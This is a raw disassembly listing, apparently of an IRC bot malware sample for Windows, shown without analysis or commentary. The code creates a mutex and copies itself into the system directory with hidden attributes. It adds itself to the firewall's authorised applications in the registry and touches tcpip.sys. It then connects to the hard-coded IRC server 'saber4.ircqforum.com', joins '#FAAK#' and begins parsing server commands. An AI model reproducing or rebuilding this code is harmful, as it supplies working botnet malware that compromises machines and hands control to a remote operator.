edi, 0Ah or eax, edi mov edi, ebx add eax, edx not edi or edi, eax xor edi, edx add edi, [ebp+var_40] lea edi, [esi+edi-100B83h] mov esi, edi shr esi, 11h shl edi, 0Fh or esi, edi mov edi, edx add esi, eax not edi or edi, esi xor edi, eax add edi, [ebp+var_14] lea ebx, [ebx+edi-7A7BA22Fh] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_18] lea ebx, [edx+ebx+6FA87E4Fh] mov edx, ebx shl ebx, 6 shr edx, 1Ah or edx, ebx mov ebx, esi not ebx add edx, edi or ebx, edx xor ebx, edi add ebx, [ebp+var_1C] lea ebx, [eax+ebx-1D31920h] mov eax, ebx shl ebx, 0Ah shr eax, 16h or eax, ebx mov ebx, edi add eax, edx not ebx or ebx, eax xor ebx, edx add ebx, [ebp+var_20] lea ebx, [esi+ebx-5CFEBCECh] mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, edx add esi, eax not ebx or ebx, esi xor ebx, eax add ebx, [ebp+var_24] lea ebx, [edi+ebx+4E0811A1h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_44] lea ebx, [edx+ebx-8AC817Eh] mov edx, ebx shr edx, 1Ah shl ebx, 6 or edx, ebx mov ebx, esi add edx, edi not ebx or ebx, edx xor ebx, edi add ebx, [ebp+var_28] lea eax, [eax+ebx-42C50DCBh] mov ebx, eax shr ebx, 16h shl eax, 0Ah or ebx, eax mov eax, edi add ebx, edx not eax or eax, ebx xor eax, edx add eax, [ebp+var_2C] lea esi, [esi+eax+2AD7D2BBh] mov eax, esi shr eax, 11h shl esi, 0Fh or eax, esi mov esi, edx add eax, ebx not esi or esi, eax xor esi, ebx add esi, [ebp+var_30] lea edi, [edi+esi-14792C6Fh] mov esi, [ecx] add esi, edx mov edx, edi mov [ecx], esi shl edx, 15h shr edi, 0Bh or edx, edi pop edi add edx, [ecx+4] pop esi add edx, eax mov [ecx+4], edx mov edx, [ecx+8] add edx, eax mov eax, [ecx+0Ch] add eax, ebx mov [ecx+8], edx mov [ecx+0Ch], eax pop ebx leave retn sub_408644 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; CODE XREF: sub_408FD8+28p var_40 = byte ptr -40h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push esi mov esi, [ebp+arg_0] push 38h mov eax, [esi] mov ecx, [esi+4] mov [ebp+var_8], eax mov [ebp+var_4], ecx shr eax, 3 and eax, 3Fh pop ecx cmp eax, ecx jl short loc_408F53 push 78h pop ecx loc_408F53: ; CODE XREF: sub_408F2E+20j sub ecx, eax push edi push ecx push offset aA ; "€" push esi call sub_4085B2 add esp, 0Ch lea eax, [esi+1Ah] lea ecx, [ebp+var_40] mov [ebp+arg_0], 0Eh loc_408F72: ; CODE XREF: sub_408F2E+68j movzx edi, byte ptr [eax-1] xor edx, edx mov dh, [eax+1] mov dl, [eax] add eax, 4 shl edx, 8 or edx, edi movzx edi, byte ptr [eax-6] shl edx, 8 or edx, edi mov [ecx], edx add ecx, 4 dec [ebp+arg_0] jnz short loc_408F72 lea eax, [ebp+var_40] lea edi, [esi+8] push eax push edi call sub_408644 pop ecx lea eax, [esi+59h] pop ecx push 4 mov ecx, edi pop esi pop edi loc_408FB0: ; CODE XREF: sub_408F2E+A5j mov dl, [ecx] mov [eax-1], dl mov edx, [ecx] shr edx, 8 mov [eax], dl mov edx, [ecx] shr edx, 10h mov [eax+1], dl mov edx, [ecx] shr edx, 18h mov [eax+2], dl add ecx, 4 add eax, 4 dec esi jnz short loc_408FB0 pop esi leave retn sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408FD8 proc near ; CODE XREF: sub_40997B+1B09p var_68 = byte ptr -68h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 68h push esi xor esi, esi push edi lea eax, [ebp+var_68] push esi push eax call sub_40856C push [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, [ebp+var_68] push edi push eax call sub_4085B2 lea eax, [ebp+var_68] push eax call sub_408F2E add esp, 18h push offset byte_424EF4 push edi call sub_40EE10 pop ecx pop ecx loc_409015: ; CODE XREF: sub_408FD8+56j movzx eax, [ebp+esi+var_10] push eax push edi push offset aS02x ; "%s%02X" push edi call sub_40EE10 add esp, 10h inc esi cmp esi, 10h jb short loc_409015 pop edi pop esi leave retn sub_408FD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409034 proc near ; CODE XREF: sub_410B5C+C9p var_A8C = byte ptr -0A8Ch var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F4 = byte ptr -4F4h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_168 = byte ptr -168h var_164 = byte ptr -164h var_64 = dword ptr -64h var_58 = dword ptr -58h var_38 = dword ptr -38h var_34 = word ptr -34h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_4081F8 push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_41A090 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4BA0D8, eax call esi ; GetTickCount push eax call sub_41018E pop ecx call sub_403C25 push 2 call dword_4273C0 ; SetErrorMode push 7530h push offset aHortsfor ; "hortsfor" push ebx push ebx call dword_41A108 ; CreateMutexA push eax call dword_41A104 ; WaitForSingleObject cmp eax, 102h jnz short loc_4090B1 push 1 call dword_41A0F4 ; ExitProcess loc_4090B1: ; CODE XREF: sub_409034+73j lea eax, [ebp+var_884] push eax push 202h call dword_42728C ; WSAStartup cmp eax, ebx mov [ebp+var_8], eax jnz loc_4095B2 cmp [ebp+var_884], 2 jnz loc_4095AC xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_4095AC mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call dword_41A0E8 ; GetSystemDirectoryA lea eax, [ebp+var_2EC] push esi push eax push ebx call dword_41A0A4 ; GetModuleHandleA push eax call dword_41A078 ; GetModuleFileNameA lea eax, [ebp+var_5F4] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_41090E add esp, 14h lea eax, [ebp+var_5F4] push eax lea eax, [ebp+var_6F4] push eax push offset aSS_1 ; "%s%s" lea eax, [ebp+var_988] push esi push eax call sub_40E7AB lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax call sub_4102A0 add esp, 1Ch mov esi, offset byte_41FCA4 test eax, eax jnz loc_40931D cmp dword_41FBE8, ebx jz short loc_4091AF push esi xor edi, edi call sub_40E730 sub eax, 4 pop ecx jz short loc_4091AF loc_40918C: ; CODE XREF: sub_409034+179j call sub_410198 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_41FCA4[edi], dl inc edi call sub_40E730 sub eax, 4 pop ecx cmp edi, eax jb short loc_40918C loc_4091AF: ; CODE XREF: sub_409034+148j ; sub_409034+156j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_168] push offset aSS_0 ; "%s\\%s" push eax call sub_40EE10 add esp, 10h lea eax, [ebp+var_168] push eax call dword_41A0CC ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4091EF lea eax, [ebp+var_168] push 80h push eax call dword_41A0C8 ; SetFileAttributesA loc_4091EF: ; CODE XREF: sub_409034+1A7j mov edi, dword_41A0D8 lea eax, [ebp+var_168] push ebx push eax lea eax, [ebp+var_2EC] mov [ebp+var_4], ebx push eax loc_409207: ; CODE XREF: sub_409034+20Fj call edi ; CopyFileA test eax, eax jnz short loc_409245 call dword_41A07C ; RtlGetLastWin32Error cmp [ebp+var_4], ebx jnz short loc_409245 cmp eax, 20h jz short loc_409222 cmp eax, 5 jnz short loc_409245 loc_409222: ; CODE XREF: sub_409034+1E7j push 3A98h mov [ebp+var_4], 1 call dword_41A060 ; Sleep lea eax, [ebp+var_168] push ebx push eax lea eax, [ebp+var_2EC] push eax jmp short loc_409207 ; --------------------------------------------------------------------------- loc_409245: ; CODE XREF: sub_409034+1D7j ; sub_409034+1E2j ... lea eax, [ebp+var_168] push eax call sub_404C1C pop ecx lea eax, [ebp+var_168] push 7 push eax call dword_41A0C8 ; SetFileAttributesA push 10h lea eax, [ebp+var_20] push ebx push eax call sub_40E800 push 44h lea eax, [ebp+var_64] pop edi push edi push ebx push eax call sub_40E800 add esp, 18h mov [ebp+var_64], edi mov [ebp+var_58], offset byte_424EF4 mov [ebp+var_34], bx push 1 pop edi mov [ebp+var_38], edi call dword_41A100 ; GetCurrentProcessId push eax push edi push 100000h call dword_41A0FC ; OpenProcess lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_168] push eax lea eax, [ebp+var_A8C] push offset aSDS ; "%s %d \"%s\"" push eax call sub_40EE10 add esp, 14h lea eax, [ebp+var_20] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push edi push ebx lea eax, [ebp+var_A8C] push ebx push eax lea eax, [ebp+var_168] push eax call dword_41A0C0 ; CreateProcessA test eax, eax jz short loc_40931D push 0C8h call dword_41A060 ; Sleep push [ebp+var_20] mov esi, dword_41A068 call esi ; CloseHandle push [ebp+var_1C] call esi ; CloseHandle call dword_427274 ; WSACleanup push ebx call dword_41A0F4 ; ExitProcess loc_40931D: ; CODE XREF: sub_409034+13Cj ; sub_409034+2BFj cmp dword_4BA2A0, 2 jle short loc_409369 mov eax, dword_4BA2A4 push dword ptr [eax+4] call sub_40FB66 pop ecx mov edi, eax push 0FFFFFFFFh push edi call dword_41A104 ; WaitForSingleObject push edi call dword_41A068 ; CloseHandle mov eax, dword_4BA2A4 cmp [eax+8], ebx jz short loc_409369 push 7D0h call dword_41A060 ; Sleep mov eax, dword_4BA2A4 push dword ptr [eax+8] call dword_41A0F8 ; DeleteFileA loc_409369: ; CODE XREF: sub_409034+2F0j ; sub_409034+31Aj lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_4F4] push offset aSS_0 ; "%s\\%s" push eax call sub_40EE10 add esp, 10h cmp dword_41FBEC, ebx jz short loc_4093A2 cmp dword_4273E4, ebx jnz short loc_4093A2 lea eax, [ebp+var_4F4] push eax call sub_407C5D pop ecx loc_4093A2: ; CODE XREF: sub_409034+357j ; sub_409034+35Fj cmp dword_41FBFC, ebx jz short loc_40941E lea eax, [ebp+var_4F4] push offset aInternet ; "Internet" push eax push offset aSEnabledS ; "%s:*:Enabled:%s" lea eax, [ebp+var_164] push 100h push eax call sub_40E7AB add esp, 14h lea eax, [ebp+var_4] push ebx push eax push ebx push 0F003Fh push ebx push ebx push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call dword_4272C8 ; RegCreateKeyExA lea eax, [ebp+var_164] push eax call sub_40E730 pop ecx push eax lea eax, [ebp+var_164] push eax push 1 lea eax, [ebp+var_4F4] push ebx push eax push [ebp+var_4] call dword_427338 ; RegSetValueExA push [ebp+var_4] call dword_4272F0 ; RegCloseKey loc_40941E: ; CODE XREF: sub_409034+374j lea eax, [ebp+var_1E8] push offset dword_41FDBC push eax call sub_40EE10 push ebx lea eax, [ebp+var_1E8] push ebx push eax call sub_40E1D6 lea eax, [ebp+var_1E8] push eax call sub_407A4E push 0B80h push ebx push offset dword_42C558 call sub_40E800 call sub_410198 push 7Fh push offset aSaber4_ircqfor ; "saber4.ircqforum.com" push offset dword_4BA0E4 mov dword_4BA250, ebx call sub_410090 mov eax, dword_41FBD8 push 3Fh mov edi, offset dword_4BA164 push offset aFaak ; "#FAAK#" push edi mov dword_4BA234, eax call sub_410090 push 3Fh mov esi, offset dword_4BA1A4 push offset aSaad_ ; "saad." push esi call sub_410090 add esp, 48h mov dword_4BA238, ebx loc_4094AC: ; CODE XREF: sub_409034+51Ej ; sub_409034+529j ... mov [ebp+var_4], ebx loc_4094AF: ; CODE XREF: sub_409034+4D2j cmp dword_4273FC, ebx jnz short loc_4094CD lea eax, [ebp+var_10] push ebx push eax call dword_427258 ; InternetGetConnectedState test eax, eax jnz short loc_4094CD push 7530h jmp short loc_4094F9 ; --------------------------------------------------------------------------- loc_4094CD: ; CODE XREF: sub_409034+481j ; sub_409034+490j push offset dword_4BA0E0 mov dword_4BA24C, ebx call sub_4095BB cmp eax, 2 mov [ebp+var_8], eax jz loc_4095A7 cmp dword_4BA24C, ebx jz short loc_4094F4 dec [ebp+var_4] loc_4094F4: ; CODE XREF: sub_409034+4BBj push 2710h loc_4094F9: ; CODE XREF: sub_409034+497j call dword_41A060 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4094AF cmp [ebp+var_8], 2 jz loc_4095A7 cmp [ebp+var_C], ebx jz short loc_409557 push 7Fh push offset aSaber4_ircqfor ; "saber4.ircqforum.com" push offset dword_4BA0E4 call sub_410090 mov eax, dword_41FBD8 push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4BA234, eax call sub_410090 push 3Fh push offset aSaad_ ; "saad." push esi call sub_410090 add esp, 24h mov [ebp+var_C], ebx jmp loc_4094AC ; --------------------------------------------------------------------------- loc_409557: ; CODE XREF: sub_409034+4E1j cmp byte_41FC80, bl jz loc_4094AC push 7Fh push offset byte_41FC80 push offset dword_4BA0E4 call sub_410090 mov eax, dword_41FBDC push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4BA234, eax call sub_410090 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_410090 add esp, 24h mov [ebp+var_C], 1 jmp loc_4094AC ; --------------------------------------------------------------------------- loc_4095A7: ; CODE XREF: sub_409034+4AFj ; sub_409034+4D8j call sub_40E39F loc_4095AC: ; CODE XREF: sub_409034+A1j ; sub_409034+B1j call dword_427274 ; WSACleanup loc_4095B2: ; CODE XREF: sub_409034+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_409034 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095BB proc near ; CODE XREF: sub_409034+4A4p var_4B4 = byte ptr -4B4h var_3B0 = byte ptr -3B0h var_2AC = dword ptr -2ACh var_2A8 = dword ptr -2A8h var_2A4 = byte ptr -2A4h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_D0 = byte ptr -0D0h var_90 = byte ptr -90h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = byte ptr -30h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4B4h mov eax, [ebp+arg_0] push ebx push esi push edi push 59h mov esi, eax pop ecx lea edi, [ebp+var_194] xor ebx, ebx rep movsd mov [ebp+var_4], ebx mov dword ptr [eax+160h], 1 loc_4095E6: ; CODE XREF: sub_4095BB+1FEj ; sub_4095BB+214j ... push 10h lea eax, [ebp+var_14] push ebx push eax call sub_40E800 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_427314 ; htons mov [ebp+var_12], ax lea eax, [ebp+var_190] push eax call sub_404F02 cmp eax, ebx pop ecx mov [ebp+var_10], eax jz loc_4097DE push 6 push 1 push 2 call dword_427394 ; socket mov esi, eax mov eax, [ebp+var_38] imul eax, 234h push 10h mov dword_42D2E4[eax], esi lea eax, [ebp+var_14] push eax push esi call dword_4272BC ; connect cmp eax, 0FFFFFFFFh jz loc_4097E2 push 1Ch lea eax, [ebp+var_30] push ebx push eax call sub_40E800 push ebx lea eax, [ebp+var_30] push dword_41FBF8 push eax push esi call sub_40E17A push 1Bh mov [ebp+arg_0], eax push eax mov eax, [ebp+var_38] imul eax, 234h add eax, offset byte_42D2F0 push eax call sub_410090 add esp, 28h lea eax, [ebp+var_190] push eax push offset dword_41FEC4 call sub_407AC2 cmp dword_41FC00, ebx pop ecx pop ecx jz loc_40977D call sub_404FE0 test eax, eax jz loc_40977D lea eax, [ebp+var_4B4] push 104h push eax call dword_41A0E8 ; GetSystemDirectoryA lea eax, [ebp+var_4B4] push eax lea eax, [ebp+var_3B0] push offset aSDriversTcpip_ ; "%s\\drivers\\tcpip.sys" push eax call sub_40EE10 lea eax, [ebp+var_3B0] push eax call sub_40580B mov edi, eax add esp, 10h cmp edi, ebx jz loc_40977D lea eax, [ebp+var_3B0] push 104h push eax lea eax, [ebp+var_2A4] push eax mov [ebp+var_2AC], esi mov [ebp+var_19C], ebx call sub_410090 push ebx push 27h push offset dword_41FE84 mov [ebp+var_1A0], edi call sub_40E1D6 add esp, 18h mov [ebp+var_2A8], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2AC] push ebx push eax push offset sub_405076 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_2A8] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40977D loc_40976B: ; CODE XREF: sub_4095BB+1C0j cmp [ebp+var_198], ebx jnz short loc_40977D push 32h call dword_41A060 ; Sleep jmp short loc_40976B ; --------------------------------------------------------------------------- loc_40977D: ; CODE XREF: sub_4095BB+EBj ; sub_4095BB+F8j ... push [ebp+var_3C] lea eax, [ebp+var_190] push eax lea eax, [ebp+var_90] push eax lea eax, [ebp+var_D0] push [ebp+var_194] push [ebp+arg_0] push eax lea eax, [ebp+var_110] push eax push esi call sub_409802 add esp, 20h mov edi, eax push esi call dword_4273AC ; closesocket cmp edi, ebx jz loc_4095E6 cmp edi, 1 jnz short loc_4097D4 push 0DBBA0h call dword_41A060 ; Sleep jmp loc_4095E6 ; --------------------------------------------------------------------------- loc_4097D4: ; CODE XREF: sub_4095BB+207j cmp edi, 2 jz short loc_4097F0 jmp loc_4095E6 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_4095BB+5Fj xor eax, eax jmp short loc_4097FB ; --------------------------------------------------------------------------- loc_4097E2: ; CODE XREF: sub_4095BB+92j push esi call dword_4273AC ; closesocket call sub_404F2B xor edi, edi loc_4097F0: ; CODE XREF: sub_4095BB+21Cj push [ebp+var_38] call sub_40E4F2 pop ecx mov eax, edi loc_4097FB: ; CODE XREF: sub_4095BB+225j pop edi pop esi pop ebx leave retn 4 sub_4095BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409802 proc near ; CODE XREF: sub_4095BB+1EBp var_1A8C = byte ptr -1A8Ch var_A8C = byte ptr -0A8Ch var_2BC = byte ptr -2BCh var_13C = byte ptr -13Ch var_9C = byte ptr -9Ch var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A8Ch call sub_40EC80 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2BC] pop ecx loc_409820: ; CODE XREF: sub_409802+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_409820 cmp byte_4BA248, bl jz short loc_409847 push offset byte_4BA248 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_408486 add esp, 0Ch loc_409847: ; CODE XREF: sub_409802+2Ej push [ebp+arg_C] lea eax, [ebp+var_1C] push ebx push ebx push eax push [ebp+arg_10] call sub_40E17A add esp, 10h push eax lea eax, [ebp+var_9C] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_40EE10 add esp, 14h lea eax, [ebp+var_9C] push ebx push eax call sub_40E730 pop ecx push eax lea eax, [ebp+var_9C] push eax push [ebp+arg_0] call dword_427364 ; send cmp eax, 0FFFFFFFFh jnz short loc_4098B2 push [ebp+arg_0] call dword_4273AC ; closesocket push 1388h call dword_41A060 ; Sleep loc_4098AB: ; CODE XREF: sub_409802+DAj ; sub_409802+154j xor eax, eax loc_4098AD: ; CODE XREF: sub_409802+174j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4098B2: ; CODE XREF: sub_409802+93j ; sub_409802+F9j ... mov esi, 1000h lea eax, [ebp+var_1A8C] push esi push ebx push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+var_1A8C] push ebx push esi push eax push [ebp+arg_0] call dword_42732C ; recv test eax, eax jle short loc_4098AB lea eax, [ebp+var_A8C] push eax lea eax, [ebp+var_1A8C] push eax call sub_404943 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax mov [ebp+arg_10], ebx jle short loc_4098B2 lea edi, [ebp+var_A8C] loc_409903: ; CODE XREF: sub_409802+166j push 1 pop esi loc_409906: ; CODE XREF: sub_409802+145j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_13C] push eax lea eax, [ebp+var_2BC] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40997B add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_409949 push 7D0h call dword_41A060 ; Sleep jmp short loc_409906 ; --------------------------------------------------------------------------- loc_409949: ; CODE XREF: sub_409802+138j cmp esi, 0FFFFFFFDh jz short loc_409973 cmp esi, 0FFFFFFFEh jz short loc_40996F cmp esi, 0FFFFFFFFh jz loc_4098AB inc [ebp+arg_10] add edi, 4 mov eax, [ebp+arg_10] cmp eax, [ebp+var_4] jl short loc_409903 jmp loc_4098B2 ; --------------------------------------------------------------------------- loc_40996F: ; CODE XREF: sub_409802+14Fj push 1 jmp short loc_409975 ; --------------------------------------------------------------------------- loc_409973: ; CODE XREF: sub_409802+14Aj push 2 loc_409975: ; CODE XREF: sub_409802+16Fj pop eax jmp loc_4098AD sub_409802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40997B proc near ; CODE XREF: sub_409802+12Bp var_E60 = dword ptr -0E60h var_E50 = byte ptr -0E50h var_C50 = byte ptr -0C50h var_A50 = dword ptr -0A50h var_A4C = byte ptr -0A4Ch var_9CC = byte ptr -9CCh var_8CC = byte ptr -8CCh var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = dword ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = dword ptr -7BCh var_7B8 = dword ptr -7B8h var_7B4 = dword ptr -7B4h var_7B0 = dword ptr -7B0h var_7AC = byte ptr -7ACh var_72C = byte ptr -72Ch var_6CB = byte ptr -6CBh var_6CA = byte ptr -6CAh var_6C7 = byte ptr -6C7h var_6C0 = byte ptr -6C0h var_6BE = byte ptr -6BEh var_6BA = byte ptr -6BAh var_6B9 = byte ptr -6B9h var_6B5 = byte ptr -6B5h var_6B3 = byte ptr -6B3h var_62C = byte ptr -62Ch var_610 = dword ptr -610h var_60C = dword ptr -60Ch var_608 = dword ptr -608h var_604 = dword ptr -604h var_5F8 = byte ptr -5F8h var_5DC = byte ptr -5DCh var_5BC = dword ptr -5BCh var_5B8 = byte ptr -5B8h var_5B0 = dword ptr -5B0h var_598 = byte ptr -598h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_588 = dword ptr -588h var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = byte ptr -578h var_378 = dword ptr -378h var_374 = dword ptr -374h var_370 = byte ptr -370h var_2F8 = dword ptr -2F8h var_2F4 = byte ptr -2F4h var_2F0 = byte ptr -2F0h var_284 = dword ptr -284h var_280 = byte ptr -280h var_278 = dword ptr -278h var_274 = byte ptr -274h var_270 = byte ptr -270h var_230 = byte ptr -230h var_220 = byte ptr -220h var_208 = dword ptr -208h var_204 = byte ptr -204h var_1F8 = dword ptr -1F8h var_1F4 = byte ptr -1F4h var_1F0 = byte ptr -1F0h var_1E8 = byte ptr -1E8h var_1A0 = byte ptr -1A0h var_184 = byte ptr -184h var_180 = byte ptr -180h var_174 = byte ptr -174h var_170 = byte ptr -170h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = byte ptr -0E4h var_D8 = byte ptr -0D8h var_D4 = dword ptr -0D4h var_C8 = dword ptr -0C8h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 0E50h push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_578] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_C8], ebx call sub_40E800 push 1Bh lea eax, [ebp+var_62C] push [ebp+arg_10] push eax call sub_410090 add esp, 18h cmp [ebp+arg_0], ebx jz loc_409D24 push esi lea eax, [ebp+var_C50] push ebx push eax call sub_40E800 dec esi lea eax, [ebp+var_C50] push esi push [ebp+arg_0] push eax call sub_410090 lea eax, [ebp+var_C50] push offset asc_421DC4 ; " :" push eax call sub_4102A0 mov [ebp+var_C], eax lea eax, [ebp+var_C50] push esi push eax lea eax, [ebp+var_E50] push eax call sub_410090 mov esi, offset dword_41F770 lea eax, [ebp+var_E50] push esi push eax call sub_4103EB add esp, 34h mov [ebp+var_98], eax lea edi, [ebp+var_94] mov [ebp+var_18], 1Fh loc_409A47: ; CODE XREF: sub_40997B+DDj push esi push ebx call sub_4103EB mov [edi], eax pop ecx add edi, 4 dec [ebp+var_18] pop ecx jnz short loc_409A47 mov esi, [ebp+var_98] cmp esi, ebx jz loc_409D24 cmp [ebp+var_94], ebx jz loc_409D24 push 100h lea eax, [ebp+var_72C] push ebx push eax call sub_40E800 add esp, 0Ch lea ecx, [ebp+var_1C] push 1Fh pop edx push 1 pop edi loc_409A92: ; CODE XREF: sub_40997B+149j mov eax, [ecx] cmp eax, ebx jz short loc_409ABE cmp byte ptr [eax], 2Dh jnz short loc_409AC6 cmp [eax+2], bl jnz short loc_409AC6 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_72C], 1 mov esi, [ebp+var_98] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_409ABE: ; CODE XREF: sub_40997B+11Bj dec edx sub ecx, 4 cmp edx, ebx jge short loc_409A92 loc_409AC6: ; CODE XREF: sub_40997B+120j ; sub_40997B+125j cmp [ebp+var_6B9], bl jz short loc_409AD1 mov [ebp+var_8], edi loc_409AD1: ; CODE XREF: sub_40997B+151j cmp [ebp+var_6BE], bl jz short loc_409ADF mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_409ADF: ; CODE XREF: sub_40997B+15Cj cmp byte ptr [esi], 0Ah jz short loc_409B19 push 7Fh lea eax, [ebp+var_7AC] push esi push eax call sub_410090 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_410090 lea eax, [ebp+var_C4] push offset asc_421DC0 ; "!" push eax call sub_4103EB add esp, 20h loc_409B19: ; CODE XREF: sub_40997B+167j push esi push offset aPing ; "PING" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409B5F push [ebp+var_94] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_408486 add esp, 0Ch push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_408486 add esp, 10h jmp loc_409C00 ; --------------------------------------------------------------------------- loc_409B5F: ; CODE XREF: sub_40997B+1ADj mov esi, [ebp+var_94] push esi push offset a001 ; "001" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40DAAA push esi push offset a005 ; "005" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40DAAA push esi push offset a302 ; "302" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409BC7 push offset a@ ; "@" push [ebp+var_8C] call sub_4102A0 pop ecx cmp eax, ebx pop ecx jz short loc_409C00 inc eax push 9Fh 